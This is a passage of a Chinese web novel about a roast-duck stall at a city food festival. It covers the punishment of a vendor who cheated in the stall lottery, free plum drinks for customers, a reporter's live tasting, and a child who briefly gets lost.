[所以有没有人知道原来那个A1摊主到哪去了？我想把之后的票都投给他们。] …… 沈刚看着也觉得气愤无比，动了动手指头也为这件事发声…… * 多亏了这次的美食节宣传得比较广，关注的人很多，所以这件事发酵得很快。 短短几个小时，就已经传到政府那边。 “嘭——” 办公室里，市长将桌子拍得震天响，力度之大，有那么一瞬间，让文件都弹离了桌面。 “岂有此理！竟然有这样的事发生！” 市长是近段时间新上任的，他为人公正清廉，上任后大刀阔斧改革掉腐败落后，尽心竭力试图拉扯着溪城往更上一层发展。 自然不允许有这种内幕发生。 “彻查！赶紧给我彻查！查出来必须还人家一个公道！” 底下人全都唯唯诺诺听着，在听到下令后，纷纷应声，马上着手调查。 * 庄凝冬那边，他们几个人正忙碌着。 摊位前一直有人排着队。 因为这些天，人一天比一天多，庄凝冬跟供应商进货的鸭子也一天比一天多，但不管怎样，好像都不太够卖。 为此，顾客没少要求再多提供点量。 “今天的烤鸭变多了吗？等排到我不知道还有没有。” 此时刚好有个顾客一下子买了三只烤鸭，拍在他身后的顾客一看，急眼了。 “哎！你怎么能一下子买那么多烤鸭呢？三只！你吃得完吗你就买！” “求求了，考虑一下我们的死活吧，能不能行行好给我们留点希望？” 众目睽睽之下，顾客自己买那么多也怕被打，他把烤鸭护在身前，心虚但强装硬气道：“老、老板又没规定一个人只能买多少，我多买点怎么了？” “……” 在理，气人但没法骂。 后面的顾客见状，也不管不顾了，买的数量都在两只以上。 庄凝冬不禁开口劝：“你们别盲目买那么多呀，现在天气热，放久了就变质了，小心吃坏肚子，能吃多少买多少就好了。” 顾客不在意：“没关系，有冰箱，等拿回去我就冰起来，想吃再拿出来二次加热。” “是啊，有冰箱怕什么？排半天队买不到烤鸭才是最恐怖的。” “……” 庄凝冬：“二次加热之后口感肯定没有刚出炉的时候好吃，你们又何必呢？” 顾客：“那咋了？就算二次加热比不上刚出炉那会儿，也比其他烤鸭要好吃。” “……” 排在前面的顾客附和，觉得有道理，开始效仿，一买就是几只，后面的顾客则急了，伸长了脖子在那看。 “我去，别都这样啊，那我们怎么办？” “这样下去轮到我肯定没了。” “别再买了，老板，能不能限购啊？不限购的话我们根本买不到啊。” “是啊是啊，限购吧，现在就开始限购吧，等不了了。” …… 见到顾客们都这样，庄凝冬思忖片刻，便按他们的意愿实行限购了。 等卖完一批，新一批又还没烤好，才有了短暂的歇息时间。 这时，陆向安看到一个词条，大致扫视了一下内容，便赶紧拿给庄凝冬她们看。 “老板！你们快看！” 是关于位置变化的事，直播采访有人提到了这件事。 江映槐看完直播片段，爽了：“让他们这么嚣张，被别人看到了吧，这个小姐姐告状的方式好搞笑，好喜欢。” 季初曼：“记者说去调查了，也不知道是不是真的有调查，调查出来后会不会惩罚那个摊位也不知道。” 江映槐：“管他呢，反正看见那个摊位被那么多人骂我已经爽了。” 陆向安：“你们快看，实时广场里，发表了长篇大论并且带了图片、视频片段、直播链接的用户，基本都是我们店里的顾客诶，我经常在评论下面看到他们。” 闻言，庄凝冬一看，还真是。 说不动容是假的。 没想到一道道美食已经在她和顾客之间形成了一条密切的纽带。 “这样看来，那这件事应该不是偶然，”庄凝冬猜测，“估计是这些客人在背地里帮了我们。” 江映槐：“这也太让人感动了吧，话说他们是怎么猜到我们是被恶意强迫换位置的呢？” 陆向安无端想起自己回复的那个表情包…… 救命，他当时正在气头上，只是为了发泄一下怒火才回复的评论，可不是为了让顾客们去冲锋啊。 这下真是，百口莫辩了…… 庄凝冬没注意到陆向安的异样，她正在思考该怎么回馈顾客。 顾客帮了大忙，可得好好感谢才行。 片刻，她道：“我决定明天做点酸梅汤送给顾客们喝，你们觉得怎么样？” 陆向安几乎是双手双脚赞成：“同意！” 他不是有心利用顾客的，有酸梅汤作弥补的话就当这件事过去了吧…… 季初曼：“好啊，现在天气炎热，酸梅汤刚好可以解暑。” 江映槐：“我觉得非常好，刚好可以好好感谢他们，不过我要先喝一大碗。” 庄凝冬笑笑，正要跟他们打趣几句，手机铃声就响了。 是一个陌生的号码。 庄凝冬按下接听键：“喂，您好，请问您是？” 那头的女声官方：“请问是庄凝冬女士吗？我是这次美食节的工作人员……” 70-80 第71章 第71章 闻言，庄凝冬先是看了江映槐他们一眼，然后才应声道：“对，我是，怎么了？” “是这样的，经过我们工作人员的调查与核实，发现您在位置抽签过程中遭受到不公对待，为此，我们感到非常抱歉，这边准备给您一点补偿，您看把您的摊位迁回原来的A1摊位可以吗？” 主办方那边工作效率还挺高的，这才过去多久，就打电话过来了。 不过，迁回原来的摊位……？ 庄凝冬没急着给答复：“我可以先考虑一下吗？” “可以的，想好了的话可以回拨这个号码。” “好的谢谢。” 挂了电话之后，庄凝冬把这通电话的内容给江映槐他们说了一下。 江映槐兴奋地唰一下站了起来：“真的？那个工作人员真的这样说？太好了！在这件事上可算狠狠出了一口恶气！” 季初曼笑：“这次可真得好好谢谢那群顾客才是。” 陆向安把那句“也许还得谢谢我”咽了回去，跟着点了点头：“赞同。” 庄凝冬问他们：“你们认为我们要把位置换回去吗？” “师父你觉得呢？” “我觉得还是不要换了。” 庄凝冬想了一下，A1摊位也就是位置好，能带来更好的客流量，可他们现在的客流量已经足够多了，每天摊前都排了一条长长的队伍。 几乎要忙不过来了，非但不需要A1摊位引流，还会让自己陷入更忙的境地。 而且这几天肯定也新增了不少不关注美食节新闻、只是来这里逛逛的路人顾客。 如果贸然换位置，只怕他们在不知情下，很难找到他们的位置。 “我觉得也是。” 江映槐想了想，又道：“而且这附近摊位的老板好像还挺喜欢咱们的，不仅来我们这排队买烤鸭，还送了他们摊位上的东西给咱们，氛围也好，我看要不还是别换了。” 庄凝冬还是照顾着她的想法：“你一开始不是很生气吗？现在可以回到A1了，你也选择不回去了？” “我生气只是气主办方那边的工作人员不公而已，又不是单单为了一个位置，如果我们一开始就抽到B23，我是不会生气的。” 庄凝冬听完，欣慰地笑了笑。 “是啊，而且这换位置就像读书的时候老师调的座位，一下子就把好不容易熟络起来的友谊隔开，”陆向安也觉得现在这个位置很好，“就这样吧，之前烤鸭没好的时候我还能跟隔壁摊位的老板唠嗑一下呢。” 江映槐：“我说你买个东西怎么买那么久，原来是摸鱼去了。” 陆向安：“……” 决定好以后，庄凝冬给刚刚那个工作人员回了个电话，这件事看似到这里就结束了。 然而第二天，美食节入口处放了大且显然的牌子，写了一则公告。 公告的内容是这次事件的来龙去脉，除此之外，还有对这次事件做出的处罚结果。 在这个环节中，给商家提供了“便利”的工作人员已经被开除，而那个A1摊位的商家除了被取消参赛资格，被剔除排名之外，还被踢出了这次的美食节。 更是不得参加未来三届美食节。 处罚力度之狠，用于警示后面的商家，别再企图走邪门歪道。 其实除了这个之外，最让人觉得人性化的一个操作就是，其他顾客给A1商家投的票也都原路退回到了顾客的账号内。 他们可以重新给别的商家投票。 有大部分顾客都给庄记投了票，一时间，庄记的票数遥遥领先。 庄凝冬他们看到这则公告后也高兴得不得了，特别是江映槐，还对着公告拍了张照片发到朋友圈。 配文是一个爽字还有好多个感叹号。 隔着屏幕都能感受到她情绪的高昂。 今天来到摊位的顾客们也跟他们唠起了这件事—— “太好了，今天来到人民广场，可算是看不到那个A1摊主了，之前看到他们生意那么好我都觉得心梗。” “刚看到那则公告的时候，我开始还没反应过来，过后才猛地想起，哎，B23摊位不是你们吗？原来那个A1摊主也太坏了吧，尽想着这些坏主意，嗯？这是什么？” 其中，一个顾客说着，接过自己的烤鸭之后，发现手里还多了一杯饮料的时候，奇怪地发问。 庄凝冬笑了笑：“这是冰镇酸梅汤，现在天气炎热，最适合喝了。” “多少钱？我另外给，刚只付了烤鸭的钱呢。” 庄凝冬忙道：“这个不用钱，是送的。” “啊？送的？” “是啊，被位置这件事得到澄清，大家都高兴，所以特意做了点冰饮来送给大家。”庄凝冬弯着眉眼，柔声说。 “我去，这也太好了吧！” 后面的顾客一听，也激动兴奋极了，在喊着：“有多少啊？还轮得到我们吗？” 还有更后面的顾客好奇是什么冰饮的，在听到是冰镇酸梅汤之后，还没瞧见酸梅汤的影子呢，就已经开始分泌唾液了。 今天，孟云露也来到了现场。 依旧是来做直播采访的。 昨天出了事后，直播在中途掐断，今天重新开播，必须要给人们报道一下。 她来到美食节的入口，先是在这则公告前汇报了一下这件事的经过结果，最后，号召人们无论做什么事都要遵守规章制度，不要为达目的不择手段。 “大家可以看到现在的A1摊位是没人的了啊，希望大家引以为戒。” 汇报完这件事，孟云露选择直接去B23摊位。 “不知道大家还记不记得昨天被大多数人安利的果木烤鸭，说来也巧啊，那个摊位就是这次事件的受害者，换到一个这么偏僻的位置，还能让那么多顾客注意到并爱上，看来它的味道一定非常美味，昨天我本来还想去来着，结果没去成，今天，让我们一起过去看看吧。” 孟云露穿过厚重的人群，在不远处看见了B23摊位。 “大家可以看到，前面就是B23摊位了，人果然很多，已经排出了一条长龙，看来想要吃到这个果木烤鸭，只好辛苦观众朋友们跟着我一起排队啦。” 孟云露说得俏皮，然而实际上只有他们辛苦而已，在外面晒着太阳。 有观众朋友就在屏幕外笑：“我们哪里辛苦？我们只需要在家里吹着空调看电视，要是看到不想看的地方，还能短暂地换个频道呢。” 孟云露显然也怕干等着无聊，观众有可能都跑光了，于是在队伍里拿着话筒采访前后左右的顾客。 不是第一次做采访。 孟云露明白不是所有人都愿意被采访上电视的，有时候问了五六个才可能逮着一个。 不过现在，问到的顾客都挺社牛的，并不局限于她问的问题，还能发散思维，引出其他话题。 其中，就介绍了B23摊位这个庄记。 说不止这个烤鸭，庄记店里的所有菜式都是天花板，能给味蕾带来极致的体验。 当一个人在被采访时，其他顾客发现这里的动态，不仅没躲镜头，还都涌了过来。 “可别说了，美食节上卖的烤鸭固然好吃，可我也想东坡肉竹筒饭香酥羊排椒麻鸡菊花豆腐了，等美食节一结束，我一定要去大吃特吃！” “只怕美食节一结束，竞争比之前的都要大哦。”有顾客说着，意味深长地看了眼镜头。 其他顾客反应过来，纷纷改了口：“其实也没有那么好吃，什么番茄牛腩面菊花豆腐绿豆糕我通通都不知道，大家千万不要去，免得不对胃口，既白跑了一趟又花了钱就不好了。” 孟云露在此时打趣：“听见了吗大家，他们让咱们不要去的意思就是让我们一定要去。” “……” 经过一番欢乐采访，不知不觉间，终于轮到了孟云露。 孟云露买了半只。 庄凝冬看见她手上的话筒还有旁边的摄像机大哥，察觉到他们是一起的，便让江映槐多装了一杯冰镇酸梅汁。 孟云露接过：“谢谢。” 庄凝冬还在片烤鸭，孟云露想采访她，但看她在忙，便准备先等等，于是，就自顾自说了起来。 “观众朋友们，你们看到了吗？看看这挂在上面的烤鸭，皮特别红亮，晶莹剔透的，还泛着光泽，光从卖相上看就特别好。” 孟云露弯了弯唇角：“知道你们隔着屏幕闻不着香味，我来跟你们说说味道吧，就是有一个甜丝丝的焦香，这种甜是果木的清甜，不是那种腻到发齁的甜，闻着就能轻而易举勾起人们的食欲那种。” “烤鸭还是先放到一边吧，我怕再说下去，我都要流口水了。” “现在让我们来看看这杯冰镇酸梅汤吧…… 孟云露说着，把那杯酸梅汁从袋子里拿了出来。 瓶子是透明的，里头的液体呈现出一种暗红色，轻轻一晃，能听到冰块在里面碰撞的清脆声响，加上杯外冒着的细小水珠，看着都知道有多冰凉。 孟云露等不及了，把吸管戳了进去，就喝了起来。 红褐色的液体顺着透明吸管往上，到了口腔里。 一阵冰凉酸甜的味道在嘴里弥漫开。 孟云露不禁瞪大了眼睛。 第72章 第72章 酸梅汤由乌梅、山楂、陈皮等药材制作而成，口味酸甜开胃，特别适合作为夏日消暑饮品。 庄凝冬在熬这份酸梅汤的时候，先将材料泡发，煮制一遍过后将材料过滤出，去除苦涩味，再加入冰糖精心熬煮第二遍。 这样煮出来的汤水能将材料的药性和味道完全挥发出。 孟云露喝到的就是这样一份味道很足、非常酸甜可口的酸梅汤。 经过冰镇，那丝丝冰凉沁人心脾，这一瞬间，仿佛喝了甘甜的雪水，冲散了炎热的暑气。 现在天气热，孟云露胃口不太好，原本她还担心等会吃不下烤鸭会影响直播效果，但一口酸梅汤下肚后，立马将她的食欲唤了起来。 “我天，这杯酸梅汤也太好喝了吧！” 孟云露朝镜头摇了摇手里的酸梅汤，被酸梅汤润过的嗓子更清脆了：“大家可以看到这里头的液体，呈现出的是一种清澈的红褐色，很透亮，非常好看是吧。” “然而除了好看之外，它的味道也格外的好，先触及到口腔的是一阵冰冰的冷意，然后就是乌梅山楂特有的果酸味，喝起来能明显感觉到它还含有其他药材的特殊气味，是精心熬煮出来的，跟其他那些用粉冲泡的酸梅汤完全不一样。” 孟云露说着，又喝了一口，面露惊叹之色。 喝得完全停不下来，咕噜咕噜地，几大口下去，一杯酸梅汤很快就见了底。 跟她一起来的摄像大哥也好不到哪里去，拿到酸梅汤就吨吨几口，三两下就把它喝光了。 孟云露拿过摄像大哥的空瓶子，伸到镜头前：“是真的非常好喝，看，摄像大哥跟我一样一下子就把它们喝光了，好想再来一瓶啊……” 孟云露说着，上前问庄凝冬这个酸梅汤怎么卖。 庄凝冬答道：“抱歉，这个是非卖品，每人只有一杯，想要多也没了，不然后面的顾客就分不到了。” 闻言，孟云露虽露出可惜的神情，却也觉得这个执行得还挺好的，为更多顾客考虑到了。 酸梅汤喝完后，他们买的烤鸭也片好了。 孟云露接过，在附近找了个地坐着吃了起来。 直播嘛，还是得先给观众朋友们展示一下盒子里的烤鸭。 “观众朋友们，看见没，这红如玛瑙的皮，在光下更显剔透了，一片片的，很均匀吧，要不是亲眼看见，拍了下来，谁知道这厚薄一致到仿佛是用机器切割出来的鸭肉片是老板动作利落用手片出来的呢？” “再看看这饼皮，白白的，透透的，像一张纸，扯一下试试，哇，很有韧性哎，接下来，让我尝尝味道如何。” 孟云露用饼皮卷起烤鸭片和一些配菜酱料，塞进了嘴巴里。 尝到味道的那一刻，她呆滞了一瞬，因为嘴巴有东西，说不了话，但并不妨碍她竖起大拇指。 等完全吞咽下去，才对这份烤鸭大夸特夸。 “大家还记得昨天采访过的那些路人吗？他们的说法真的一点都不假，这份烤鸭真的超级好吃！我昨天听到十个人里有九个人都夸这份烤鸭时，还觉得他们太夸张了，但我现在吃过之后，只想狠狠赞同他们。” “烤鸭是大菜大荤，我以前吃过的都很油腻，但这份就不会，特别是前面喝了酸梅汤打开了胃口，我现在只觉得我一个人都能吃完这半只烤鸭。” 孟云露说着，也顾不得还在做电视台的直播，往嘴里又塞了一大口，丝毫不顾及形象。 “真是好吃极了，它这里除了甜面酱还有酸梅酱，一个酸梅酱，一个酸梅汤，让我来看看有什么区别。” “唔——吃起来的话，酸梅酱质地比较浓稠丝滑，也比较酸，酸梅汤的话则是酸甜可口的，喜欢吃酸的人可以多要点酸梅酱，”孟云露说着，发现摄像大哥嘴里的都还没吃完就已经又把手伸到盒子，连忙制止，“哎！你好歹先把嘴里的吃完再拿别的！” 于是，观众朋友们就通过镜头看着他们两个争先恐后地吃了起来。 孟云露更是连解说都不解说了，唯恐慢了一秒少吃了点。 设备的收音效果不错，还能听到酥皮和黄瓜丝在嘴里被咀嚼的清脆声音。 在视觉和听觉的双重刺激下，此时此刻的观众朋友们被馋得肚子咕咕叫：“靠，话说早了，辛苦的果然是他们这群观众！！只能看不能吃，难受死了！” 偏偏，他们还舍不得换台。 只要能吃到这样一份烤鸭和酸梅汤，在酷暑下排队也值了。 他们现在就想知道现在去还来得及吗？ 那头孟云露和摄像大哥两个人很快把这半只吃完了。 孟云露回味着嘴里的味道，还有点意犹未尽，她跟摄像头后面的摄像大哥对视上，显然对方也在给她使眼色，暗示她继续去那个摊位。 “……” 孟云露也想，但还在工作，不能偏心一整天都待在那个摊位。 她清了清嗓子：“好了，接下来让我们一起去别处看看吧。” 摄像大哥：“……” 就在孟云露起身准备要走的时候，一个小孩颠颠地跑了过来。 她定睛一看，发现是昨天采访过，上来就喊着“加强貂蝉”的小孩。 “……” 孟云露怕他再次语出惊人，想假装看不见，可这个小孩不仅是个社牛，还一眼认出了她，朝这边奔过来并大喊道：“姐姐姐姐！我记得你，你今天还有什么要问的吗？我都可以一一回答的。” 孟云露见躲不过，就问了他一句：“你今天有什么想说的吗？可不准再说跟游戏相关的了哦。” “为什么不可以？”小学生问了一句，没等到回答，自己就接着道：“算了算了，我今天也想说点别的。” 小学生：“能不能帮我问问那个烤鸭摊位的小姐姐，问问她可不可以多卖点烤鸭？真的好好吃！我这辈子都没吃过这么好吃的烤鸭。” “还有酸梅汤也好好喝！虽然不用钱，可只有一杯也太少了，根本不够喝，我宁愿能花钱买，反正我有零花钱。” 又一个被烤鸭和酸梅汤俘获的人。 孟云露记得昨天采访他时，他的答案还是章鱼小丸子之类的。 果然，没人能逃得掉B23的果木烤鸭。 孟云露跟他唠了几句后，本来是想去B23摊位采访一下摊主的，不过想到人家从头到尾都在忙，孟云露也不便打扰。 她拿出手机看了眼，B23摊位的票数以断层的形式稳居第一。 看来日后有的是机会采访。 思及此，孟云露便去了别的地方。 * 另一边，沈刚也来到了B23摊位前排着队。 昨天看了直播采访后，他就被大部分人嘴里都夸赞的烤鸭勾起了强烈的好奇心。 可惜都没等到记者前去一探究竟。 不想再苦等，于是今天，沈刚就自己来到了现场。 顶着烈日，汗水浸透了衣裳，沈刚忽然有点后悔跑了这一趟。 好奇害死猫。 大热天的，果然还是窝在家里吹空调舒服。 轮到沈刚，他想了下，还是买了一整只烤鸭，点完单就在一旁等着，有店员给他递了一杯酸梅汤，说是送的，于是，他便接过。 是冰镇过的，拿起来冰冰凉凉，跟夏日其他冰饮没什么区别。 唯独里面液体红亮清透，看上去倒是不错。 不过沈刚依旧没有放在心上。 像其他什么炸鸡排之类的店，也会赠送酸梅汤，这种都不怎么好喝。 因为免费赠送，店家都是拿粉冲泡的。 联想到昨天的采访，那些路人夸的都是烤鸭，并没有夸酸梅汤，所以沈刚没有抱太大希望。 不过沈刚从家里出来后，就径直奔向这个摊位了。 现在他正热得口干舌燥，刚好有杯冰饮送上门来，他直接就喝了起来。 冰凉液体入口的那一瞬，沈刚整个人都惊呆了。 这味道！ 酸酸甜甜的气息又香又浓郁，丝滑地淌过食道，一路畅通直达胃里。 凉丝丝的，完美地驱散了夏日的暑气，可口的酸味让人口齿生津。 跟那些用粉冲泡的酸梅汤完全不一样，好喝极了！ 沈刚咕咚咕咚吸了一口又一口，一杯酸梅汤很快见了底。 连普普通通的酸梅汤都做得那么好喝，看来烤鸭也不会差到哪去。 沈刚当即就不觉得后悔了。 不仅没后悔，反而很庆幸跑了这一趟。 不然可就白白错过这么好喝的酸梅汤了。 沈刚并不知道酸梅汤是今天才新上的，他只觉得那群人也真是的，这么好喝的酸梅汤竟然没人夸。 单单是好喝就算了，重点是它还免费啊！ 要是他遇上来采访的记者，一定会连带着这杯酸梅汤也一起夸的。 过了一会儿，沈刚买的烤鸭打包好了。 沈刚接过，打算拿回家边吹空调边吃。 外面还是太热了。 回到家。 沈刚迫不及待打开了袋子，在摊子前就闻到的那股浓郁烤鸭香立即在房子里弥漫开。 还有淡淡的果木清香。 一下就把人的食欲勾了起来。 沈刚立马夹了一块鸭肉放进嘴里。 入口是烤制过后的醇厚焦香，果木味香甜，又甜又脆，纹理清晰的鸭肉嫩到爆汁。 那股清甜就此更上一层楼。 “太香了！不愧是能让男女老少都喜欢和强烈推荐的食物。” 沈刚连吃了好几片鸭肉才拿出饼皮卷着一起吃。 正当他吃得无比忘我的时候，门口传来钥匙在锁孔转动的声音。 第73章 第73章 “呼，真是热死我了，小睿，快帮妈妈把那一袋玉米搬进来。” 门外，一个及腰高的小孩子听话地跟妈妈一起把玉米搬进家。 他脸上神情吃力。 彭倩看得想笑，待玉米被搬进来后毫不吝啬地对他夸奖了几句，然后才注意到室内弥漫的香浓气味。 “唔～什么这么香？沈刚你在吃什么？” “嗯？你们这么快就回来了？不是说晚上再回吗？”沈刚瞅了眼，又问：“妈呢？” 沈刚和彭倩是夫妻，小睿是他们的儿子，可爱又聪明。 这几天，彭倩带着小睿和妈妈回了趟老家，今天才回来，不过老人贪恋在乡下的日子，想着多住段时间，便让他们俩先回了。 “还没回呢，她说想多住几天。”彭倩走了过去，看见盒子里的烤鸭肉肥美丰盛，格外诱人，彭倩吞了口口水：“烤鸭？好哇你，趁我们母子俩不在，自己偷偷吃那么好是吧？” “我还真没有，老婆你可别冤枉我，知道你们今晚要回来，我还特地买了一整只呢。” “用得着提前买好？”彭倩不太信：“晚上你再另外买不就行了。” “老婆你是不知道，这烤鸭是我在美食节上买的， 第一次买，没什么经验，这不是怕晚上去的时间不对，别人卖光了买不到吗？” 彭倩更不信了：“可拉倒吧，美食节的持续时间不挺长的吗？从早到晚，怎么可能那么早卖完。” “这可不是普通的烤鸭。”沈刚娓娓道来：“溪城电视台有对这次的美食节做直播采访，昨天我闲着无聊就看了一下，这一看，还真是稀奇了，记者随机采访到的路人里，十个有八个都推荐了同一家烤鸭，可惜后面直播中途出了点事故，没能看到记者去到那个烤鸭摊。” “我又好奇到坐不住，所以中午就去买回来了，”沈刚回味着那股味道，“别说，真的特别好吃！” 彭倩半信半疑：“十个有八个都推荐了同一家烤鸭？有这么厉害？” “真的，你尝尝。” 沈刚立马贴心地给彭倩卷了一块烤鸭。 彭倩还没洗手，便就着沈刚的手吃了起来。 尝到味道的那一刻，彭倩惊愕地愣住了。 这味道，真的太香了。 沈刚一看她这副表情，就知道她跟自己一样，被这份烤鸭折服了。 “怎么样？” 彭倩迅速把嘴里的烤鸭吞下去，再把沈刚手里剩下的吃完。 “真的好好吃哎，虽然是大荤，却一点都不腻，香极了，真不愧是被那么多人推荐的烤鸭。” 此时，站在桌子边缘的小睿用手挡住眼睛，调皮张开一点手指缝，从缝隙里看沈刚他们两人。 “羞羞！爸爸是在喂妈妈吃鸭鸭吗？小睿也要吃，不过小睿不需要喂，小睿自己就可以吃。” 被自己的儿子打趣，彭倩脸上一赧，拉着他去卫生间：“想吃可以，得先洗手。” 母子俩一块把手洗干净，重新回到餐桌前。 “正好我们还没吃午饭，看来我们中午就能把这只烤鸭解决掉了。”彭倩手里卷着烤鸭，张嘴又是一大口。 小睿也是塞得爽颊鼓鼓的，嘴角沾了点酱料：“这个鸭鸭好好次呀～我要吃多多的！” 看到他们都喜欢，沈刚觉得自己冒着大太阳去买也算不上辛苦了。 “你们都觉得这个烤鸭好吃是吧，不过你们不知道的是，那家店的酸梅汤也是一流，要是喝上一口冰凉生津的酸梅汤，再吃一口焦香多汁的烤鸭才是最绝的。” 沈刚想象着，开始后悔了：“哎，早知道我就不一口气把那杯酸梅汤喝完了。” 彭倩敏锐地捕捉到三个字：“什么？喝完了？你就不知道给我们留点？” “哎哎哎老婆你先别生气啊，”沈刚忙解释道：“那酸梅汤是商家送的，在那排队的人才能得到一杯，想花钱多买都不行，再加上这大热天的，我又热又渴，怎么忍得住嘛。” “你都不知道，我一开始还以为是平常那些用粉冲泡的酸梅汤，谁知道喝起来才发现完全不是一回事，你要是感兴趣，等改天我们再一起去呗。” “好吧，那原谅你了。” 彭倩本来也没真生气，她转头重新沉浸在烤鸭里。 “什么酸梅汤？我也要我也要！”小睿在一旁手舞足蹈。 沈刚：“行行行，只要你肯乖乖做好你的暑假作业，到时候肯定带上你。” “好耶！” 他们一家三口气氛融洽，很快就把沈刚买的正只烤鸭都吃完了。 还剩一些鸭架子，不过他们已经吃不下了，便冰了起来，准备等晚上再吃。 过后，他们瘫坐在椅子上歇息。 彭倩忽然灵魂发问：“老公，要是我们晚上再回来的话，你打算留多少烤鸭给我们？” “……” 其实沈刚是想留一半的，但他熟知彭倩的性子，要是他说留一半，彭倩肯定会说他一个人居然独吃一半。 为了不让这种事情发生，沈刚咳了声：“三分之二吧。” 彭倩狐疑：“真的？” “珍珠都没这么真。” 彭倩哼哼两声，没再多说什么。 转眼到了傍晚，就冰箱里的那些鸭架子根本不够吃，沈刚和彭倩便打算去趟人民广场多买点烤鸭。 结果到了现场，摊前排出了一条长长的队伍。 十个人里有八个人都推荐的烤鸭摊有多招人喜欢在此刻有了具象化。 沈刚问：“还排吗？” 彭倩咬咬牙：“排吧。” 可惜他们没那么幸运，排了一阵子，前面的队伍就消散了，一问，才知道已经卖光了。 “啊？”彭倩耷拉着眉眼：“这，这天都没黑呢，就卖光了？！” 卖烤肠的摊主听见她的话，早已见怪不怪了，笑道：“这个摊子的烤鸭格外好吃，队伍里好多都是回头客了，按今天的情形来看啊，你们要是想吃的话下次得更早来咯。” “那好吧……” 彭倩叹了口气，跟沈刚商量了一会儿，也不打算回去了，干脆就逛逛这个美食节。 他们先在这个烤肠摊买了根烤肠，然后再去别的地方逛。 次日白天，他们一家三口才再一次来到人民广场。 “我就不信今天还吃不上！”彭倩势在必得。 一路上都挺顺利的，直到经过一个雪糕摊子，昨天晚上他们来这买过雪糕，小睿看见没后就走不动道了。 说想要吃。 彭倩原本想让沈刚先过去排队，自己陪小睿买完雪糕再过去的，不过想到那每人只能领一杯的酸梅汤，还是先买完雪糕再一起过去排队好了。 买完雪糕，彭倩催促：“快快快，赶紧去买烤鸭。” 沈刚原本还拉着小睿的，但匆忙间，他擦了擦汗，一时松了手，就这么把小睿忘了。 等到了烤鸭摊前时，彭倩回头一望：“诶？！小睿人呢？！” “不是在这——” 沈刚的话戛然而止，冷汗出来了。 不是，他儿子呢？ * 与此同时，小睿那边。 小睿眼睁睁看着爸爸松开了自己手，他原本是想等他擦完汗再牵回去，或者去拉他衣服的。 但他手上拿着刚买的雪糕，人又多又挤，小睿怕别人碰到他的宝贝雪糕，只得小心翼翼地注意着，等再抬眼时，眼前已经没有了爸爸妈妈的身影。 喊了好几声，人群喧闹，他们也听不见。 小睿站在原地好一会儿，才回到原来买雪糕的那个位置。 等爸爸妈妈发现他不见了，他们应该会返回找的。 那他回原地等着就好了。 就这么站了一阵子，手里的雪糕也吃完了。 小睿等得着急，忽然看见有个拿着话筒的小姐姐。 咦，这不是电视上常看见的记者小姐姐吗？ 他们肯定是好人，肯定能帮他找到爸爸妈妈的。 小睿果断上前拦住他们：“你们好，我不小心跟我爸爸妈妈走丢了，请问你们可以帮帮我吗？” 孟云露原本还在讲解着一些食物的有趣历史，听清来意后，连忙把历史板块放到一边，带着眼前的小朋友走去志愿者处。 像这种大型活动现场，有人丢了东西、亲人之间走散都是很常见的事。 路上，孟云露又多问了几个问题：“小朋友，你跟你爸爸妈妈是在哪里走散的呢？” “就在刚刚那个有好多雪糕卖的地方。” “那是怎么走散的呢？他们去逛别的地方没等你吗？” “他们急着去买烤鸭，可能一下子把我忘了吧。”小睿脸上诚恳，说得认真。 孟云露：“？？？” 急着买烤鸭把孩子给忘了？！ 就离谱！ 等等，不会是她知道的那个烤鸭吧？ 孟云露又问道：“小朋友，他们去买的烤鸭是不是B23摊子的烤鸭呀？” 据孟云露所知，这次美食节上不止一家卖烤鸭的摊子，不过，需要急着去买的，也只有B23那家了。 小睿摇摇头：“那我不知道是哪个位置，我只知道那个烤鸭超级好吃！比我之前吃过的所有东西都要好吃！” 孟云露心里已经有了答案。 不过她没有中途转方向带小孩去B23，就怕人家父母发现孩子不见了又跑去别的地方找。 到时候才是真的麻烦。 很快，孟云露带着小朋友来到志愿者处，三言两语跟志愿者说清了情况，用上了广播。 “请注意！请注意！沈睿小朋友的爸爸妈妈请注意！听到广播后请马上到人民广场中央的志愿者处，你们的儿子沈睿正在等你们！” 第74章 第74章 由于政府对这次的美食节大肆宣扬，再加上孟云露之前做的直播采访有些片段比较有趣。 电视台和政府那边截了下来发到了其他社交平台上，都收获了不菲的热度。 这对提升溪城知名度有很大的帮助。 政府那边准备趁热打铁，所以今天的直播采访，除了会在溪城电视台播出外，还发布到了其他社交软件平台上。 别说，效果还真不错，有好多外地网友都有在看。 [没有对比就没有伤害，看看别人的美食节，各种横幅灯笼都挂满了，摊子位置大，食物品种多，最重要的是，摊子之间的道路很干净，不像我这里的美食节，种类少摊子小，空间逼仄狭窄，垃圾桶堆满了也没人来清理，到最后弄得满地都是，更离谱的是还要商家公摊清洁的面积……] [哇，这对比也太惨烈了吧，这样看来溪城的美食节办得是真不错哎。] 此时社交软件上最多的弹幕就是各地网友疯狂艾特各自的地方官号，并附文“看看人家”。 在底下唰唰地滚动着。 直到直播画面里出现一个走丢的小孩。 [没人夸夸这个小孩子吗？很聪明啊知道在原地等着还知道找记者小姐姐帮忙，而且胆子好大啊，在陌生的人堆跟父母走散了也不害怕，竟然还能保持镇定，这应变能力，远超同龄孩子很多哎。] [的确，换成我小时候，我也未必能做出这样的反应。] [同意，能教出这样的孩子，父母一定很靠谱吧，好想知道父母是怎么教的。] 然而等他们看完走丢原因后，网友们先是齐齐沉默了一瞬，然后整齐地打着几个问号。 [？？？] [等会儿，什么意思，父母急着要吃烤鸭把孩子弄丢了？？] [嘶——这父母，跟靠谱两个字沾边吗？] [别说靠谱了，简直就是离谱！] [这样看，何止沾边，还撞了一个字呢。] [华国文化博大精深，一字之差，意思天差地别。] [难道就我一个人好奇到底是什么烤鸭有这么好吃吗？好吃到父连孩子都能忘掉？] [盲猜是B23那个烤鸭摊。] [＋1。] [B23的烤鸭摊？有人能讲讲这个摊子的烤鸭吗？真有那么玄乎？] 今天的直播采访是第一次连到其他社交平台上，因而涌入了许多不知情的外地网友，有些本地观众便耐心地跟他们解释： [虽然我还没去吃过，但记者昨天有去B23摊位买过烤鸭，还直播吃过，那画面，光看着都让人忍不住口水直流。] 更有本地观众附上了链接：[没看过的朋友们可以点进来看看，真的很香，还有之前的一些直播片段，里面有很多路人都推荐了这个摊位的烤鸭。] 有人快速看完回来：[淦，早知道就不去看了，把我给看饿了。] [这么红亮的烤鸭是真实存在的吗？我吃过的烤鸭都烤得很黑很干，一看就让人提不起食欲的那种。] 在一堆人讨论着之前的直播片段时，此时直播间的画面出现了两个年轻人，一男一女，他们跑得气喘吁吁，自称是孩子的父母。 